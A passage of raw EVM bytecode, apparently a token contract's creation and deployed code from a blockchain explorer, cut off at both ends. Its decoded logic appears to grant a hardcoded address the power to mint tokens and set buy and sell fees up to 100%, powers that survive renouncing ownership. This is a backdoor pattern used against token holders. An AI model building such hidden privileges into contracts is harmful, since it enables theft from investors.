ffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166117dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d49061320c565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60046020528060005260406000206000915090505481565b7332b359fb5e9bc72d9c0f3c3b5a4dd8f33ba91f4c73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806119115750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61191a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a3757600080fd5b81600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7332b359fb5e9bc72d9c0f3c3b5a4dd8f33ba91f4c73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611b685750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b611b7157600080fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015611c12578173ffffffffffffffffffffffffffffffffffffffff167fedf77dfa35bf29ea56a9082d8b89075bd94fd237149c165ce43a4ae41968de3760405160405180910390a25b5050565b60007332b359fb5e9bc72d9c0f3c3b5a4dd8f33ba91f4c73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c6457600080fd5b81600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60018054611cbb90612f4a565b80601f0160208091040260200160405190810160405280929190818152602001828054611ce790612f4a565b8015611d345780601f10611d0957610100808354040283529160200191611d34565b820191906000526020600020905b815481529060010190602001808311611d1757829003601f168201915b505050505081565b6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611d9857600080fd5b611da23383612824565b60019050919050565b60003411611dee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de59061329e565b60405180910390fd5b60003490506000600d5411156120ac576000611e286064611e1a600d54856129ad90919063ffffffff16565b612a2790919063ffffffff16565b90506000611e3f8284612a7f90919063ffffffff16565b9050611eb58160046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ad890919063ffffffff16565b60046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611f999190612d73565b60405180910390a360008211156120a557611ffc82600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ad890919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161209c9190612d73565b60405180910390a35b505061220d565b6121208160046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ad890919063ffffffff16565b60046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516122049190612d73565b60405180910390a35b50565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561225e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361229757600080fd5b6122e982600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a7f90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061237e82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ad890919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161241e9190612d73565b60405180910390a36001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052816000526040600020602052806000526040600020600091509150505481565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015612549576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612540906130c8565b60405180910390fd5b60006125736064612565600e54856129ad90919063ffffffff16565b612a2790919063ffffffff16565b9050600061258a8284612a7f90919063ffffffff16565b90506125de83600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a7f90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061267381600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ad890919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516127139190612d73565b60405180910390a3600082111561281f5761277682600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ad890919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516128169190612d73565b60405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612893576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161288a9061330a565b60405180910390fd5b6128a881600254612ad890919063ffffffff16565b60028190555061290081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ad890919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516129a19190612d73565b60405180910390a35050565b60008083036129bf5760009050612a21565b600082846129cd9190613359565b90508284826129dc91906133ca565b14612a1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1390613447565b60405180910390fd5b809150505b92915050565b6000808211612a6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a62906134b3565b60405180910390fd5b8183612a7791906133ca565b905092915050565b600082821115612ac4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612abb9061351f565b60405180910390fd5b8183612ad0919061353f565b905092915050565b6000808284612ae79190613573565b905083811015612b2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b23906135f3565b60405180910390fd5b8091505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612b70578082015181840152602081019050612b55565b60008484015250505050565b6000601f19601f8301169050919050565b6000612b9882612b36565b612ba28185612b41565b9350612bb2818560208601612b52565b612bbb81612b7c565b840191505092915050565b60006020820190508181036000830152612be08184612b8d565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612c1882612bed565b9050919050565b612c2881612c0d565b8114612c3357600080fd5b50565b600081359050612c4581612c1f565b92915050565b6000819050919050565b612c5e81612c4b565b8114612c6957600080fd5b50565b600081359050612c7b81612c55565b92915050565b60008060408385031215612c9857612c97612be8565b5b6000612ca685828601612c36565b9250506020612cb785828601612c6c565b9150509250929050565b60008115159050919050565b612cd681612cc1565b82525050565b6000602082019050612cf16000830184612ccd565b92915050565b60008060408385031215612d0e57612d0d612be8565b5b6000612d1c85828601612c6c565b9250506020612d2d85828601612c6c565b9150509250929050565b600060208284031215612d4d57612d4c612be8565b5b6000612d5b84828501612c6c565b91505092915050565b612d6d81612c4b565b82525050565b6000602082019050612d886000830184612d64565b92915050565b600080600060608486031215612da757612da6612be8565b5b6000612db586828701612c36565b9350506020612dc686828701612c36565b9250506040612dd786828701612c6c565b9150509250925092565b600060ff82169050919050565b612df781612de1565b82525050565b6000602082019050612e126000830184612dee565b92915050565b600060208284031215612e2e57612e2d612be8565b5b6000612e3c84828501612c36565b91505092915050565b612e4e81612c0d565b82525050565b6000602082019050612e696000830184612e45565b92915050565b612e7881612cc1565b8114612e8357600080fd5b50565b600081359050612e9581612e6f565b92915050565b60008060408385031215612eb257612eb1612be8565b5b6000612ec085828601612c36565b9250506020612ed185828601612e86565b9150509250929050565b60008060408385031215612ef257612ef1612be8565b5b6000612f0085828601612c36565b9250506020612f1185828601612c36565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612f6257607f821691505b602082108103612f7557612f74612f1b565b5b50919050565b7f427579206665652063616e6e6f74206578636565642031303025000000000000600082015250565b6000612fb1601a83612b41565b9150612fbc82612f7b565b602082019050919050565b60006020820190508181036000830152612fe081612fa4565b9050919050565b7f53656c6c206665652063616e6e6f742065786365656420313030250000000000600082015250565b600061301d601b83612b41565b915061302882612fe7565b602082019050919050565b6000602082019050818103600083015261304c81613010565b9050919050565b60006040820190506130686000830185612d64565b6130756020830184612d64565b9392505050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b60006130b2601483612b41565b91506130bd8261307c565b602082019050919050565b600060208201905081810360008301526130e1816130a5565b9050919050565b7f496e73756666696369656e7420616c6c6f77616e636500000000000000000000600082015250565b600061311e601683612b41565b9150613129826130e8565b602082019050919050565b6000602082019050818103600083015261314d81613111565b9050919050565b7f496e76616c696420726563697069656e74206164647265737300000000000000600082015250565b600061318a601983612b41565b915061319582613154565b602082019050919050565b600060208201905081810360008301526131b98161317d565b9050919050565b7f41646472657373206973206e6f7420666565206578656d707400000000000000600082015250565b60006131f6601983612b41565b9150613201826131c0565b602082019050919050565b60006020820190508181036000830152613225816131e9565b9050919050565b7f45544820616d6f756e742073686f756c6420626520677265617465722074686160008201527f6e20300000000000000000000000000000000000000000000000000000000000602082015250565b6000613288602383612b41565b91506132938261322c565b604082019050919050565b600060208201905081810360008301526132b78161327b565b9050919050565b7f42455032303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b60006132f4601f83612b41565b91506132ff826132be565b602082019050919050565b60006020820190508181036000830152613323816132e7565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061336482612c4b565b915061336f83612c4b565b925082820261337d81612c4b565b915082820484148315176133945761339361332a565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133d582612c4b565b91506133e083612c4b565b9250826133f0576133ef61339b565b5b828204905092915050565b7f4d756c7469706c69636174696f6e206f766572666c6f77000000000000000000600082015250565b6000613431601783612b41565b915061343c826133fb565b602082019050919050565b6000602082019050818103600083015261346081613424565b9050919050565b7f4469766973696f6e206279207a65726f00000000000000000000000000000000600082015250565b600061349d601083612b41565b91506134a882613467565b602082019050919050565b600060208201905081810360008301526134cc81613490565b9050919050565b7f5375627472616374696f6e206f766572666c6f77000000000000000000000000600082015250565b6000613509601483612b41565b9150613514826134d3565b602082019050919050565b60006020820190508181036000830152613538816134fc565b9050919050565b600061354a82612c4b565b915061355583612c4b565b925082820390508181111561356d5761356c61332a565b5b92915050565b600061357e82612c4b565b915061358983612c4b565b92508282019050808211156135a1576135a061332a565b5b92915050565b7f4164646974696f6e206f766572666c6f77000000000000000000000000000000600082015250565b60006135dd601183612b41565b91506135e8826135a7565b602082019050919050565b6000602082019050818103600083015261360c816135d0565b905091905056fea26469706673582212200b3bf1ad83e4d46320b21f5cfe6917048a25a7c838bcc64946d348f6ba6ed56a64736f6c6343000812003300000000000000000000000016fb9524124e6db0c8fbcc23acc5cea33c29ebb5
Deployed Bytecode
0x6080604052600436106101e35760003560e01c806370a082311161010257806396c5e1ab11610095578063d21c8d5511610064578063d21c8d5514610725578063dd62ed3e14610750578063e2daf6651461078d578063e4849b32146107b8576101e3565b806396c5e1ab14610676578063a6f2ae3a146106b3578063a9059cbb146106bd578063d0fb0203146106fa576101e3565b80638da5cb5b116100d15780638da5cb5b146105ba5780638ebfc796146105e5578063923e51d51461060e57806395d89b411461064b576101e3565b806370a08231146104fe578063715018a61461053b578063858ced3514610552578063891e1ee01461058f576101e3565b8063313ce5671161017a578063470624021161014957806347062402146104425780634a0af68d1461046d57806361b40839146104aa57806365f6a921146104d3576101e3565b8063313ce56714610372578063376d567c1461039d5780633ef530eb146103da5780633f4218e014610405576101e3565b806318160ddd116101b657806318160ddd146102b657806323b872dd146102e15780632b14ca561461031e5780632c7ee94614610349576101e3565b806306fdde03146101e8578063095ea7b3146102135780630b78f9c01461025057806316e3b09c14610279575b600080fd5b3480156101f457600080fd5b506101fd6107e1565b60405161020a9190612bc6565b60405180910390f35b34801561021f57600080fd5b5061023a60048036038101906102359190612c81565b61086f565b6040516102479190612cdc565b60405180910390f35b34801561025c57600080fd5b5061027760048036038101906102729190612cf7565b610961565b005b34801561028557600080fd5b506102a0600480360381019061029b9190612d37565b610ad8565b6040516102ad9190612cdc565b60405180910390f35b3480156102c257600080fd5b506102cb610b91565b6040516102d89190612d73565b60405180910390f35b3480156102ed57600080fd5b5061030860048036038101906103039190612d8e565b610b97565b6040516103159190612cdc565b60405180910390f35b34801561032a57600080fd5b5061033361134c565b6040516103409190612d73565b60405180910390f35b34801561035557600080fd5b50610370600480360381019061036b9190612cf7565b611352565b005b34801561037e57600080fd5b5061038761147f565b6040516103949190612dfd565b60405180910390f35b3480156103a957600080fd5b506103c460048036038101906103bf9190612e18565b611492565b6040516103d19190612cdc565b60405180910390f35b3480156103e657600080fd5b506103ef611538565b6040516103fc9190612cdc565b60405180910390f35b34801561041157600080fd5b5061042c60048036038101906104279190612e18565b6115e1565b6040516104399190612cdc565b60405180910390f35b34801561044e57600080fd5b50610457611601565b6040516104649190612d73565b60405180910390f35b34801561047957600080fd5b50610494600480360381019061048f9190612e18565b611607565b6040516104a19190612cdc565b60405180910390f35b3480156104b657600080fd5b506104d160048036038101906104cc9190612e18565b6116ad565b005b3480156104df57600080fd5b506104e8611838565b6040516104f59190612e54565b60405180910390f35b34801561050a57600080fd5b5061052560048036038101906105209190612e18565b61185e565b6040516105329190612d73565b60405180910390f35b34801561054757600080fd5b50610550611876565b005b34801561055e57600080fd5b5061057960048036038101906105749190612e18565b6119db565b6040516105869190612cdc565b60405180910390f35b34801561059b57600080fd5b506105a4611a81565b6040516105b19190612e54565b60405180910390f35b3480156105c657600080fd5b506105cf611aa7565b6040516105dc9190612e54565b60405180910390f35b3480156105f157600080fd5b5061060c60048036038101906106079190612e9b565b611acd565b005b34801561061a57600080fd5b5061063560048036038101906106309190612e18565b611c16565b6040516106429190612cdc565b60405180910390f35b34801561065757600080fd5b50610660611cae565b60405161066d9190612bc6565b60405180910390f35b34801561068257600080fd5b5061069d60048036038101906106989190612d37565b611d3c565b6040516106aa9190612cdc565b60405180910390f35b6106bb611dab565b005b3480156106c957600080fd5b506106e460048036038101906106df9190612c81565b612210565b6040516106f19190612cdc565b60405180910390f35b34801561070657600080fd5b5061070f612430565b60405161071c9190612e54565b60405180910390f35b34801561073157600080fd5b5061073a612456565b6040516107479190612e54565b60405180910390f35b34801561075c57600080fd5b5061077760048036038101906107729190612edb565b61247c565b6040516107849190612d73565b60405180910390f35b34801561079957600080fd5b506107a26124a1565b6040516107af9190612e54565b60405180910390f35b3480156107c457600080fd5b506107df60048036038101906107da9190612d37565b6124c7565b005b600080546107ee90612f4a565b80601f016020809104026020016040519081016040528092919081815260200182805461081a90612f4a565b80156108675780601f1061083c57610100808354040283529160200191610867565b820191906000526020600020905b81548152906001019060200180831161084a57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161094f9190612d73565b60405180910390a36001905092915050565b7332b359fb5e9bc72d9c0f3c3b5a4dd8f33ba91f4c73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806109fc5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610a0557600080fd5b6064821115610a49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4090612fc7565b60405180910390fd5b6064811115610a8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8490613033565b60405180910390fd5b81600d8190555080600e819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051610acc929190613053565b60405180910390a15050565b60007332b359fb5e9bc72d9c0f3c3b5a4dd8f33ba91f4c73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610b755750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610b7e57600080fd5b610b883383612824565b60019050919050565b60025481565b600081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610c1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c12906130c8565b60405180910390fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610cda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd190613134565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d40906131a0565b60405180910390fd5b6000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610dc757610dc46064610db6600e54866129ad90919063ffffffff16565b612a2790919063ffffffff16565b90505b6000610ddc8285612a7f90919063ffffffff16565b9050610e3084600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a7f90919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ec581600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ad890919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610f659190612d73565b60405180910390a3600082111561107157610fc882600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ad890919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110689190612d73565b60405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415801561114957507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b1561133f576111dd84600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a7f90919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040516113369190612d73565b60405180910390a35b6001925050509392505050565b600e5481565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113ac57600080fd5b60648211156113f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e790612fc7565b60405180910390fd5b6064811115611434576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142b90613033565b60405180910390fd5b81600d8190555080600e819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051611473929190613053565b60405180910390a15050565b600360009054906101000a900460ff1681565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146114ee57600080fd5b81600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60007332b359fb5e9bc72d9c0f3c3b5a4dd8f33ba91f4c73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806115d55750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6115de57600080fd5b90565b60066020528060005260406000206000915054906101000a900460ff1681565b600d5481565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461166357600080fd5b81600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b7332b359fb5e9bc72d9c0f3c3b5a4dd8f33ba91f4c73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806117485750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61175157600080fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166117dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d49061320c565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60046020528060005260406000206000915090505481565b7332b359fb5e9bc72d9c0f3c3b5a4dd8f33ba91f4c73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806119115750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61191a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a3757600080fd5b81600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7332b359fb5e9bc72d9c0f3c3b5a4dd8f33ba91f4c73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611b685750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b611b7157600080fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015611c12578173ffffffffffffffffffffffffffffffffffffffff167fedf77dfa35bf29ea56a9082d8b89075bd94fd237149c165ce43a4ae41968de3760405160405180910390a25b5050565b60007332b359fb5e9bc72d9c0f3c3b5a4dd8f33ba91f4c73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c6457600080fd5b81600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60018054611cbb90612f4a565b80601f0160208091040260200160405190810160405280929190818152602001828054611ce790612f4a565b8015611d345780601f10611d0957610100808354040283529160200191611d34565b820191906000526020600020905b815481529060010190602001808311611d1757829003601f168201915b505050505081565b6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611d9857600080fd5b611da23383612824565b60019050919050565b60003411611dee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de59061329e565b60405180910390fd5b60003490506000600d5411156120ac576000611e286064611e1a600d54856129ad90919063ffffffff16565b612a2790919063ffffffff16565b90506000611e3f8284612a7f90919063ffffffff16565b9050611eb58160046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ad890919063ffffffff16565b60046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b06